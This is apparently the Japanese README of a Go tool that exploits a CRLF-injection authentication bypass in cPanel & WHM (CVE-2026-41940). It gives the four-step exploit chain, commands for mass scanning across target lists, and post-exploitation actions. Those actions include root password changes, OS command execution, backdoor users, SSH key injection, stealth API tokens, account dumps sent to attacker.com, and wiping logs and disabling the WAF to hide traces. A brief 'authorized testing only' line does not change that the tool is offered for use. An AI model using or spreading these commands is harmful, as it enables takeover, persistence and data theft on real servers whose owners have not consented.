CVE-2026-41940 エクスプロイト PoC – cPanel & WHM 認証バイパス

⚠️ 認可されたセキュリティテスト専用です。無断使用は違法です。

📋 目次

脆弱性の概要
エクスプロイトチェーン
機能
インストール
クイックスタート
使用例
エクスプロイト後のアクション
対話型シェルコマンド
urls.txt による一括スキャン
出力例
オプションリファレンス
影響を受けるバージョン
全プラットフォーム向けビルド
FAQとトラブルシューティング
免責事項
作成者

脆弱性の概要

CVE-2026-41940 は、cPanel & WHM（バージョン < 11.110.0.97、11.118.0.63、11.126.0.54、11.132.0.29、11.134.0.20、11.136.0.5）における CRLFインジェクション の脆弱性です。

saveSession() 関数は、filter_sessiondata() を適用した後にセッションデータを書き込みますが、フィルタの適用が遅すぎます。Authorization: Basic ヘッダー内に CRLF（\r\n）文字を注入することで、攻撃者はディスク上のセッションファイルを任意のキーと値のペア（例：hasroot=1、tfa_verified=1、user=root）で汚染できます。

汚染されたセッションが後で読み込まれると、cPanel/WHM はパスワードなしで完全なルートアクセスを許可します。

CVSS スコア: 10.0（CRITICAL）

攻撃ベクトル: ネットワーク
攻撃の複雑さ: 低
必要な権限: なし
ユーザー操作: なし
機密性: 高
完全性: 高
可用性: 高

エクスプロイトチェーン（4段階）

段階	アクション	説明
1	`POST /login/?login_only=1`	誤った認証情報で事前認証セッションクッキーを要求
2	`GET /` + CRLF `Authorization` ヘッダー	`hasroot=1`、`user=root` などでセッションファイルを汚染
3	`GET /scripts2/listaccts`	セッションキャッシュに汚染されたファイルの再読み込みを強制（伝播）
4	`GET /cpsess<TOKEN>/json-api/version`	ルートアクセスを検証 – 成功 = 200 + バージョンデータ

機能

✅ 単一および一括スキャン（ファイル入力、標準入力パイプ）
✅ スレッドスキャン（100以上のスレッドまで並行性を制御）
✅ 詳細モード（--verbose）– 完全なHTTPリクエスト/レスポンスを表示
✅ JSON出力（脆弱なターゲットが見つかったときに自動保存）
✅ 10のエクスプロイト後アクション（下記の表を参照）
✅ クロスプラットフォーム（Windows、Linux、macOS）
✅ 外部依存関係なし（Go標準ライブラリのみ）
✅ カラフルなターミナル出力と明確なボックス化された結果
✅ セッション永続化 – キープアライブメカニズム
✅ コマンド履歴付きの対話型WHMシェル

インストール

前提条件

Go 1.20 以上（ダウンロード）

リポジトリのクローン

git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

実行可能ファイルのビルド

Windows

go build -o cpanel_sniper.exe main.go

Linux / macOS

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

直接実行（ビルド不要）

go run main.go -u https://target.com:2087

ビルド済みバイナリ（最速の方法）

ソースからビルドする代わりに、リポジトリから最新の安定版実行ファイルを直接ダウンロードできます。これらは更新のたびに自動生成されます：

プラットフォーム	場所
Windows (x64)	`/bin/windows_x64/cpanel_sniper.exe`
Linux (x64)	`/bin/linux_x64/cpanel_sniper`
Linux (ARM64)	`/bin/linux_arm64/cpanel_sniper`
macOS (Intel)	`/bin/mac_intel/cpanel_sniper`
macOS (M1/M2/M3)	`/bin/mac_m1_m2/cpanel_sniper`

注記: Linux または macOS を使用する場合は、ダウンロード後に実行権限を付与することを忘れないでください：

クイックスタート

# 基本スキャン
go run main.go -u https://target.com:2087

# すべてのcPanelアカウントを一覧表示
go run main.go -u https://target.com:2087 -action list

# 対話型WHMシェル
go run main.go -u https://target.com:2087 -action shell

# urls.txt による一括スキャン
go run main.go -l urls.txt -t 20 -o results.json

使用例（表）

#	目的	コマンド
1	単一ターゲットの基本スキャン	`go run main.go -u https://target.com:2087`
2	すべてのcPanelアカウントを一覧表示	`go run main.go -u https://target.com:2087 -action list`
3	ルートパスワードを変更	`go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"`
4	システムコマンドを実行	`go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"`
5	サーバー情報を取得	`go run main.go -u https://target.com:2087 -action info`
6	バックドアユーザーを作成	`go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"`
7	APIトークンを作成（ステルス）	`go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken`
8	SSHキーを注入	`go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."`
9	アカウントをダンプ＆外部送信	`go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload`
10	ログを消去＆痕跡を隠蔽	`go run main.go -u https://target.com:2087 -action wipe`
11	対話型WHMシェル	`go run main.go -u https://target.com:2087 -action shell`
12	ファイルから一括スキャン	`go run main.go -l urls.txt -t 20 -o results.json`
13	結果をJSONに保存	`go run main.go -u https://target.com:2087 -o scan_results.json`
14	詳細デバッグを有効化	`go run main.go -u https://target.com:2087 --verbose`
15	他のツールからパイプ	`cat urls.txt \| go run main.go -t 20`
16	タイムアウトを延長	`go run main.go -u https://target.com:2087 -timeout 30`

エクスプロイト後のアクション

アクション	フラグ	説明	ステルスレベル
`list`	`-action list`	すべてのcPanelアカウントを一覧表示	低
`passwd`	`-action passwd -passwd NEWPASS`	ルートパスワードを変更（ノイジー）	高（検出可能）
`cmd`	`-action cmd -cmd "id"`	OSコマンドを実行	中
`info`	`-action info`	ホスト名、負荷、バージョンを表示	低
`adduser`	`-action adduser -new-user U -new-domain D`	バックドアcPanelユーザーを作成	中
`apitoken`	`-action apitoken [-tokenname NAME]`	永続的なAPIトークンを生成	非常に低
`sshkey`	`-action sshkey -sshkey "ssh-rsa..."`	SSH公開鍵をルートに注入	非常に低
`dumpacct`	`-action dumpacct -dumpuser USER -exfil URL`	アカウントをバックアップ＆外部送信	中
`wipe`	`-action wipe`	WAFを無効化、ログを消去、履歴を消去	痕跡を隠蔽
`shell`	`-action shell`	対話型WHMシェル	低

対話型シェルコマンド

シェル内（-action shell）に入ったら、以下のコマンドを使用します：

コマンド	説明	例
`accounts`	すべてのcPanelアカウントを一覧表示	`accounts`
`passwd <pass>`	ルートパスワードを変更	`passwd MyNewPass123!2006`
`exec <command>`	システムコマンドを実行	`exec "cat /etc/passwd"`
`info`	サーバー情報を表示	`info`
`version`	cPanelバージョンを表示	`version`
`help`	利用可能なコマンドを表示	`help`
`exit`	シェルを終了	`exit`

urls.txt による一括スキャン

リポジトリには、一括スキャン用の1000のサンプルターゲットを含む urls.txt が含まれています。

urls.txt の形式

https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

一括スキャンコマンド

# 基本の一括スキャン（10スレッド）
go run main.go -l urls.txt

# 高速一括スキャン（50スレッド、結果を保存）
go run main.go -l urls.txt -t 50 -o results.json

# エクスプロイト後アクション付き一括スキャン
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# 詳細出力付き一括スキャン
go run main.go -l urls.txt -t 10 --verbose

# タイムアウト延長付き一括スキャン（低速ネットワーク用）
go run main.go -l urls.txt -t 30 -timeout 30

人気

CVE-2026-41940-Exploit-PoC